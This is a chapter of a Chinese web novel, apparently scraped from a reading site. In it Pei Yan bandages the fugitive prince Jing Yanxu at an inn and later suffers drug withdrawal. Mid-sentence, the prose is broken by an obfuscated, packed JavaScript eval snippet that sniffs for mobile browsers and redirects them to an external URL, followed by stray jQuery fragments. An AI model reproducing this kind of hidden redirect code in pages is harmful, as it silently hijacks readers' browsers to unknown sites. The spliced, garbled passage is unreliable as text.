默认冷灰
24号文字
方正启体

61. 包扎

作者:绛衣白本书字数:K更新时间:
    裴厌向店家要来一件深靛蓝色的粗布外袍,多处磨得褪色,但看起来还算干净。另外再换来两小瓶金疮药,几块干净棉布。


    推开房门时只见景晏序已经靠在桌上睡着了,房内的纸格窗敞着,外间是灰白的暮色,像是一大片芦苇。


    裴厌将窗户关上,回头才发现小猫坐在景晏序红色的袍角,眼睛望着裴厌。


    她走近,桌上放着一个卷起来的图卷,一个布包,里面都是金叶,外加一个瓷白的小瓶子。


    刚想看看那个精细的瓶子,景晏序醒了。


    他几乎是下意识捉住裴厌拿着瓶子的手,眉头在暖色的烛火下微微拧起。


    裴厌感受到他的手,冰凉又僵硬。


    他像被烫到一样,即刻松开了手。


    “这是毒药。”他解释。


    裴厌将白瓷瓶放回了原位。


    “这是父皇留给我的,他在死前准备好了这一切,成王入宫的那一日,林公公把这三样东西交给了我。若我逃不出,便用这毒药自行了断,若逃得出,就带着钱财去地图上的那个地方。”他语气很平静,不带一丝起伏。


    裴厌打开那个卷起来的地图,这张地图仅仅包含了京州及周边,外加寂州,在寂州地界内,标记了一处城外的深山,朱笔写着“蘧林寺”。


    “去蘧林寺?”裴厌问。


    景晏序点了点头。


    “我先帮你把伤口处理一下,你换一件衣服,这样上路太显眼了。”


    “带着我,路会更难走,如果我是你,不会这么做。”景晏序的脸色苍白如纸,一身红衣更衬得颜色淡薄。


    “不会吗?”裴厌说得很小声。


    他会的,他之前就做过这种选择了,在西北失守之时,他本可以物色更好的臂膀,却还是留下来为琅家周旋,不然那段时间怎会一直被禁足?


    “你的伤已经很久了,再不处理会很严重。”她将店家给的药瓶打开,目光落在景晏序身上,“自己脱还是我帮你?”


    他身上的红衣几乎和血粘合了,脱掉衣服一定会扯到伤口。


    裴厌正要伸手。


    “不必了,我自己上药就好。”他说着就将外衣一扯,丝毫没顾及身上的伤,一扯几乎连皮带肉。


    他的脸色更白,疼痛使他脖颈上的青筋也鼓起来。


    裴厌拦住他的手,“我用刀帮你,这衣服不要了,你不要用什么蛮力。”


    “劳烦姑娘,这于礼不合。”景晏序因方才伤口撕扯而带上了喘音,声音变得松散但清晰。


    裴厌本来没想到男女大防的事,经他这一说,也觉得不好。


    在灰鹞帮的时候,她几乎衣不蔽体,那个时候没有男女,只有监工和奴,所有人黑压压瘫在老鼠扎堆的草堆里。即便如此,她的前十六年里都得注意闺阁女子的可为与不可。


    灰鹞帮这种生活对于从前的她来说,几乎算得上是从头到脚摧毁一个人的活法,但是,她活着走出来了,很多事情都比以前看得更开了。


    “我消失的这段时间,其实过得不太好,早就不在意所谓礼节了。只明白了一点,活下去是一件很难的事情,如果什么都顾及,只是平添麻烦。”裴厌说着还是伸手拉住一块布料,用身上的匕首小心地磨动。


    “你忍着一点,会有点疼的。”她轻声说。


    景晏序更频繁地眨眼,不知道是因为逾矩而感到不堪,还是因为痛。


    裴厌额头也冒出了冷汗,手上的动作却没慢下来。


    笃、笃、笃。


    是门被敲响了。


    裴厌带着一手的血将门开了一个小缝,是店小二送来了一大壶热水。


    “姑娘,你要的水来了,饭菜已经在准备了,是送上来?”


    “送上来,水就放地上吧。”


    店小二离开,裴厌将水提进来。


    回头时看见景晏序几乎整个上半身都已经暴露在外。烛火落在他身上,白皙的肤色斑驳着凝结的血,跃动的火光勾勒出他紧窄腰线与肩胛的微微起伏。


    裴厌撇开眼神,只默默沾湿白布,轻拭他身上凝结的血污。


    小猫已经退到一边,看着两人。


    景晏序的脸上有了几分不自然的神色。


    裴厌将药粉倒在他身上,卷着白纱裹到他身上,从肩膀缠过胸膛,再到腰际。拿着白纱的双臂几乎在背后将他裹住,裴厌的衣摆掉在他的红衣之上,染上了一点绯红。


    她不敢使劲,白纱也松松垮垮,最后打结时才用力,在他背后打好结,松了一口气。


    她好似也听到景晏序松了一口气。


    “好了,你自己处理一下别的伤口,我去看看饭菜。”她说着就推门出去了。


    关门之前听到景晏序的声音,“多谢。”


    她关上门之后逃也似的下了几级台阶。


    楼下的大门敞开着,外面檐角已经挂上了橙黄的灯笼,风一催,便转个没完,底下红色的流苏在昏死的夜色里翩翩起舞。


    裴厌回来时端着两碗肉面,外加几条鱼仔,在门外敲了敲门。


    “请进。”传来景晏序微微发哑的声音。


    裴厌推开门,景晏序已经换好了那件深靛蓝色的粗布衣裳,他身材高瘦,衣袖有些短了,露出他一截手腕。


    那件红色被划破得不成样子的衣服丢在墙角。


    肉面上飘着一些青绿的葱花,正冒着香,飘满了整间屋子。


    小猫闻到鱼仔的味道,第一个上来接裴厌,左前腿瘸了,便用右前爪一个劲儿地挠她的裙角,还不停地喵喵叫着。


    裴厌看着它嘴馋的样子,没忍住一笑。


    景晏序走过来接过裴厌手上托盘,放在中间的四角桌上。


    裴厌将小猫抱到桌上,小猫就乖乖坐在桌角吃小鱼仔。


    她很喜欢看它吃东西,小猫吃得饱饱的,她也会很开心。


    这一次她没有光顾着看小猫,目光简单地在景晏序那边扫了几眼,他坐在旁边慢慢咬着面条,面无表情,头埋得很低。


    吃完饭,店小二将碗筷收拾走。


    小猫坐在独塌上舔毛。


    景晏序也退到独塌边,“你睡床吧。”


    “那我就不跟你争了。”裴厌吹灭蜡烛,躺到床上,盖上了被子。


    她不知道什么时候毒瘾会发作,但十有八九就是今晚,睡床有个屏风挡着,她能少一些不安。


    她依旧用布料将自己的手绑在床边,防止自己胡


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206335|197355||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    作非为。


    夜里很安静,隐约能听到远处风过密林的悉索声。


    不知过了多久。


    裴厌的毒瘾果然又犯,骨子里来自逍遥散的潮湿与骚动一刻不停,每一下的痛苦都比上回泛滥。


    她控制不住自己反复踢踹被子。


    “你睡了吗?”景晏序轻声问道。


    裴厌憋了一头汗,严重的一波毒瘾已经挨过去,她小声回应,“没有。”


    又是一片安静。


    水淋淋的痛苦卷土重来。


    “对不起。”裴厌听到自己说,声音破碎仿佛被痛苦嚼碎。


    “怎么了?你为何……”


    景晏序立即起身,看向屏风的方向。


    小猫已经跑过去,跳到了床上,蹭到裴厌脸颊旁,喵声叫着。


    “早上我说的话,我不想、不想那么说的……我不怪你,不该怪你,错的不是你……”裴厌几乎是哭着喊出来的,只是压抑着声音,听起来像是拖着一身棉衣走在河里。


    裴厌觉得自己一定要说,好似把心里压抑的情绪都吐出来,毒瘾的痛觉就会放过她。


    “都是我的错,我让你们伤心,让你们失望……明明如果我能做到,你们都不必如此受罪。”景晏序的声音发着颤,是前所未有的慌乱与急促,与平时的平静判若两人。


    “不怪你、不怪你、不怪你……”裴厌的声量一下比一下低。


    “你怎么了?琅照!”景晏序往前走了几步。


    裴厌没有回答,将身子蜷缩起来,又滚下了床,摔到地上。


    景晏序见她不回答,顾不上许多就绕过屏风,他夜里的视力很好,清楚看见裴厌缩成一团趴在地上。


    她的手还被捆在床头。


    他上前将裴厌手上的束缚解开,又将她扶起来,将她扶起的刹那,她身体不自然地抽搐了一下。


    她额前一片冷汗,碎发贴在她的脸上。


    来不及细想,景晏序将她背在身上,“你忍一忍,我带你去看病,忍一忍。”他说着便向门边冲去。


    裴厌有气无力地摁了摁他的肩膀,“不要去,我知道、知道我得了什么病,治不好的。”


    景晏序的脚步僵在了原地,语气严肃,“什么病?”


    “逍遥散,一种让人上瘾的毒,不至于要人性命。”裴厌此时清醒了一些,“放我下来,你再乱动,我今日白给你上药了。”


    景晏序将她放到床上,去给她倒了一杯水,递给她,“凉水,可以吗?”


    裴厌接过水,胡乱凑到嘴边,喝了一半,洒了一半。


    景晏序拿过杯子又去倒水。


    “不必了,我不渴。”她说着身体又软了,一头眼看就要栽到地上。


    景晏序一把扶住了她。


    “很痛苦?”


    “还好。”刚说完裴厌就感觉天旋地转,酸痒感漫上心头。


    她揪住自己的衣角,用力到指尖发麻。


    方才将裴厌背起时,景晏序便发现她竟然如此轻,到了骇人的地步,这次重见她,她不仅看起来瘦了,脸上也长了从前忧思过多起的红疹,带着挥之不去的疲态。


    景晏序深深叹了口气,耳边是远处林子里的风声。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)